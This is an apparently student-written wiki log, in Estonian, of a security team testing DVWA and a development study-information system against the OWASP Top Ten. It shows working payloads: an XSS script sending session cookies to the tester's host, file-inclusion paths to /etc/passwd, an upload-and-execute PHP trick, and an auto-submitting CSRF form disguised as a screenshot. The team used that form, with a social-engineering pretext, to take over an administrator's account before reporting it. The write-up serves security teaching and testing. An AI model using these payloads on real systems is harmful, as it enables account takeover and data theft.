Security team: Difference between revisions
Line 210: | Line 210: | ||
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind. | ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind. | ||
==== Wapiti === | |||
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. | |||
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha. | |||
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga==== | ==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga==== |
Revision as of 10:46, 29 March 2012
1. päev - Materjalidga tutvumine
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
A1: Injection - Urmo A2: Cross-Site Scripting (XSS) - Alo A3: Broken Authentication and Session Management - Sander A4: Insecure Direct Object References - Alo A5: Cross-Site Request Forgery (CSRF) - Taavi A6: Security Misconfiguration - Matis A7: Insecure Cryptographic Storage - Matis A8: Failure to Restrict URL Access - Urmo A9: Insufficient Transport Layer Protection - Taavi A10: Unvalidated Redirects and Forwards - Sander
2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine
Alo tegevus
http://www.acunetix.com/support/vulnerability-checks.htm http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting http://www.youtube.com/watch?v=SG1cvGQ971g http://www.isecom.org/research.html http://evuln.com/tools/ http://sectools.org/tag/web-scanners/ http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/ http://www.acunetix.com/vulnerability-scanner/getting-started.htm
Urmo tegevus
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.
Brute Force (DVWA)
Käsitsi välja uuritud login andmed: kasutajanimi: admin parool: password
Tekitatud sai ka password list faili pass.txt.
Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce. Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse. Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud - selleks sai sõna "incorrect". Määrata ära tuli ka, et mitu päringut sekundis tehakse ja selleks panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada, siis oli päringute tegemise kiirus vähem kui 1päring/sekundis.
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
Programm on juba loomult keerulisem. Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080. Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta. Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema. Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki. Ründe stiiliks määrata Pitchfork. Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama. Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid. Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet. Kahjuks ka see rünne ei toiminud teadmata põhjusel. Proovitud sai ka lühemate nimekirjadega ja edutult.
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.
CSRF - Cross-site request forgery
Katsetamine toimub koos Taaviga.
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.
Lõime uue faili - crosssite.txt
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist. Võtsime lehe Source Code lahti Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele. Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole. Current Password lahtri jätsime samaks. Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin". Salvestasime faili ja käivitasime selle. Tuli ette ainult lahter Current Passwordi ja Submit nupuga. Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.
Taavi tegevus
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.
Matise tegevus
Reflected Cross Site Scripting (XSS)
- Lehel on selline Form:
- Easy puhul:
- Saab sisestada textboxi skripti: <script> alert(document.cookie.match(/PHPSESSID=[^;\]+/)); </script>
- Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.
- Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: <script> this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/); </script>
- Saab kohe enda veebiserveri logidest näha Session ID’d.
Näide logist:
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" - Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.
Form väljastab : Hello „sisestatud nimi“
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
Sanderi tegevus
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
Faili üleslaadimine: madal tase
- DVWA Security määrata: Low -> Submit
- Valida: Upload
- Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess Üleslaetavasse *.php faili saab kirjutada php koodi: <?php var_dump($_REQUEST, $_SERVER); ?>
- Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav: esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low"); teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME", "SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
Faili üleslaadimine: keskmine tase
- DVWA Security määrata: Medium -> Submit
- Valida: Upload
- Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php) Üleslaetavasse *.jpg faili saab kirjutada php koodi.
- Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress: http://dvwa/hackable/uploads/*.jpg
- Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht: http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg Kuvatakse php skripti tulemus. Kommentaar: "?page=" kasutamine võetud menüüvalikust: File Inclusion
- "?page=" abil saab vaadata kasutajate nimesid: http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
- Paroole vaadata ei saa, selleks õigused puuduvad: http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
Faili üleslaadimine: kõrge tase
- DVWA Security määrata: High -> Submit
- Valida: Upload
- Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php) Üleslaetavasse *.jpg faili saab kirjutada php koodi.
- Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.
- Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline: ERROR: File not found!
- Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil: http://www.motobit.com/util/base64-decoder-encoder.asp
- Moodustades loodud faili asukohast kood ja kasutades data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw== üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis: http://dvwa/hackable/uploads/*.jpg
3. päev
Alo tegevus
Lihtsalt url modifitseerimisega leidsime mittekaitstud lingi:
Õppesoorituste all on võimalik laadida alla kõikide kasutajate õpingukaardid (lihtsalt tuleb otsida üles soovitud kasutaja student_id) Arvete alt peaks ka võimalik sama viga ära kasutada, aga kuna ühtegi arvet hetkel süsteemis polnud ei olnud võimalik seda viga kinnitada.
Urmo tegevus
Subgraph Vega
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm. Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel. Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.
Alustasime uut skänni (Start New Scan). Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.
Me lisasime ainult küpsise (cookie) sisu:
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
ning Finish.
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades. Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.
= Wapiti
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.
CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga
1. katse - ÕISi keskkkonna keelevahetus
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.
Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili. Koristasime mittevajaliku disaini koodi juurest ära. Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel. Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198" enctype="application/x-www-form-urlencoded"> <input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en"> <br> <input type="submit" value="Salvesta seaded" name="Savesettings"> </form>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.
2. katse - ÕIS'i kasutaja parooli muutmine
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.
Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu. Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili. Muutsime password ja password_check lahtrite väärtused järgnevaks: test123 ehk kasutaja uus parool peale rünnakut.
Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.
Lisasime CSS koodi Submit nupu ära peitmiseks ja JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu ja saadetaks HTML POST päring ÕISi teele. Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist, siis selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele, kus ei näidata ära, et parooli just muudeti.
Salvestasime faili ära kui screen1.jpg fail.
<html> <head> <style type="text/css"> #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; } </style> </head> <body> <body onload="document.forms.setPasswordForm.submit();"> <form name="setPasswordForm" id="setPasswordForm" action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout" method="post"> <input type="hidden" name="user_id" value="2227" id="user_id" /> <input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" /> <input type="hidden" name="password" id="password" value="test123" /> <input type="hidden" name="password_check" id="password_check" value="test123" /> <input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" /> </form> </body> </html>
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
AddType application/x-httpd-php .php .jpg
Laadisime mõlemad failid veebiserverisse avalikult.
Õppejõu Mikk Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha, kus Mikk Mangus üritaks seletada, et hinnetelehel on midagi viga ja et Valter vaataks asja üle. Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga. Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle niinimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. Kui see fail ära käivitati ja Valter Kungla logiti süsteemist välja ja suunati Õisi sisselogimise lehele. Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"ks ja me saime ligipääsu administraatori õigustes kontole. Rünnak oli edukas.
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.
Taavi tegevus
Matise tegevus
Sanderi tegevus
Backtrack: w3af
Võimalik kätte saada SSL Certificate. Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login? username=KASUTAJANIMI&continue=&Login=Logi sisse&pw=PAROOL
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication: basicAuthUser: KASUTAJANIMI basicAuthPass: PAROOL basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies cookieJarFile: /root/Desktop/ois_cookie.txt
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File .dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID 870aqllryuw3cmf6cv8ellha03
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable. flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable. This value is set automatically by the browser, depending on the value you set for domain. path - The path within the domain that the variable is valid for. secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable. expiration - The UNIX time that the variable will expire on. name - The name of the variable. value - The value of the variable.
Skänneerimine:
- The page language is: en
- The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.
- A comment with the string "
tunne end kui koolis
" was found in: "https://itcollege.dev.ois.ee/". - Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login". The username field to be used is: "username". The password field to be used is: "pw".
- Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666 Antud kasutaja ja parooliga sisse ei saanud.
- The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification. Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
- The URL: "https://itcollege.dev.ois.ee/" sent these cookies: itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/ itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
- The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused". Seelle veateatega skänn lõpeb.
4. päev
Alo tegevus
Urmo tegevus
Taavi tegevus
Matise tegevus
Sanderi tegevus
Tegijad
Alo Konno
Urmo Lihten
Taavi Podžuks
Matis Alliksoo
Sander Saarm